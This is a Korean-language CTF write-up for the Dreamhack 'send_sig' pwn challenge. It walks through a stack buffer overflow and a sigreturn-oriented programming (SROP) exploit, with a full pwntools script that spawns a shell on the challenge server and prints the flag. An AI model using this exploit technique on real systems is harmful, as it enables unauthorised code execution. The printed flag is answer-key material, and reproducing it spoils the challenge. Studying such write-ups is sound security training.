Description

    서버로 signal을 보낼 수 있는 프로그램입니다!
    프로그램의 취약점을 찾고, 익스플로잇해 flag를 읽어보세요.
    flag는 home/send_sig/flag.txt에 있습니다.

    checksec

    seo@seo:~/Documents/dreamhack/send_sig$ checksec ./send_sig
    [*] '/home/seo/Documents/dreamhack/send_sig/send_sig'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)

    Decompiled-src

    start / sub_4010B6

    void __noreturn start()
    {
      setvbuf(stdout, 0LL, 2, 0LL);
      setvbuf(stdin, 0LL, 1, 0LL);
      write(1, "++++++++++++++++++Welcome to dreamhack++++++++++++++++++\n", 0x39uLL);
      write(1, "+ You can send a signal to dreamhack server.           +\n", 0x39uLL);
      write(1, "++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n", 0x39uLL);
      sub_4010B6();
      exit(0);
    }
    
    ssize_t sub_4010B6()
    {
      char buf[8]; // [rsp+8h] [rbp-8h] BYREF
    
      write(1, "Signal:", 7uLL);
      return read(0, buf, 0x400uLL);
    }

    sub_4010B6 함수에서 “Signal: “을 출력하고
    할당된 8바이트 크기의 buf에 0x400만큼 입력받을 수 있으므로 버퍼 오버플로우를 발생시킬 수 있다.

    Solution

    seo@seo:~/Documents/dreamhack/send_sig$ ROPgadget --binary ./send_sig
    Gadgets information
    ============================================================
    0x00000000004010f2 : add al, ch ; push -0x6f000001 ; leave ; ret
    0x000000000040109e : add byte ptr [rax - 0x77], cl ; clc ; nop ; pop rbp ; ret
    0x0000000000401016 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401000
    0x000000000040109d : add byte ptr [rax], al ; mov qword ptr [rbp - 8], rax ; nop ; pop rbp ; ret
    0x0000000000401018 : add dl, dh ; jmp 0x401000
    0x00000000004010f7 : call qword ptr [rax + 0xff3c3c9]
    0x000000000040101e : call qword ptr [rax - 0x5e1f00d]
    0x00000000004010a2 : clc ; nop ; pop rbp ; ret
    0x00000000004010a9 : cli ; push rbp ; mov rbp, rsp ; pop rax ; ret
    0x00000000004010a6 : endbr64 ; push rbp ; mov rbp, rsp ; pop rax ; ret
    0x00000000004010ad : in eax, 0x58 ; ret
    0x000000000040101a : jmp 0x401000
    0x00000000004010f9 : leave ; ret
    0x00000000004010a0 : mov dword ptr [rbp - 8], eax ; nop ; pop rbp ; ret
    0x00000000004010ac : mov ebp, esp ; pop rax ; ret
    0x000000000040109f : mov qword ptr [rbp - 8], rax ; nop ; pop rbp ; ret
    0x00000000004010ab : mov rbp, rsp ; pop rax ; ret
    0x00000000004010f8 : nop ; leave ; ret
    0x00000000004010a3 : nop ; pop rbp ; ret
    0x00000000004010ae : pop rax ; ret
    0x00000000004010a4 : pop rbp ; ret
    0x00000000004010f4 : push -0x6f000001 ; leave ; ret
    0x00000000004010aa : push rbp ; mov rbp, rsp ; pop rax ; ret
    0x00000000004010a5 : ret
    0x000000000040103b : sar edi, 0xff ; call qword ptr [rax - 0x5e1f00d]
    0x000000000040109c : sldt word ptr [rax] ; mov qword ptr [rbp - 8], rax ; nop ; pop rbp ; ret
    0x00000000004010b0 : syscall
    
    Unique gadgets found: 27

    첫번째 매개변수를 지정할 수 있는 pop rdi 가젯이 없기 때문에,
    Signal-Oriented Return Programming, SROP을 통해 쉘을 획득할 수 있다.

    0x00000000004010ae : pop rax ; ret
    0x00000000004010b0 : syscall

    위 2개의 가젯들을 이용해서
    rax 레지스터값을 SYS_rt_sigreturn 시스템 콜 번호인 15로 맞춰주고,
    syscall을 호출하는 ROP을 작성해주면 된다.

    solve.py

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    #p = process("./send_sig")
    p = remote("host3.dreamhack.games", 13050)
    e = ELF('./send_sig', checksec=False)
     
    pop_rax_ret = 0x4010ae
    syscall_ret = 0x4010b0
    SYS_rt_sigreturn = 15
    frame = SigreturnFrame()
    frame.rip = syscall_ret
    frame.rax = 0x3b    #SYS_execve
    frame.rdi = 0x402000 #/bin/sh
    frame.rsi = 0
    frame.rdx = 0
    
    payload = b'A'*0x8
    payload += b'B'*0x8
    payload += p64(pop_rax_ret)
    payload += p64(15)  #SYS_rt_sigreturn
    payload += p64(syscall_ret)
    payload += bytes(frame)
    
    p.sendlineafter("Signal:", payload)
    
    p.interactive()

    Result

    seo@seo:~/Documents/dreamhack/send_sig$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 13050: Done
    [*] Switching to interactive mode
    $ ls
    flag.txt
    send_sig
    $ cat flag.txt
    DH{5a5e56589d32087ec7a37f3b70a84483eae7404e9072173ec7571b632b804760}
    $
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 13050

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다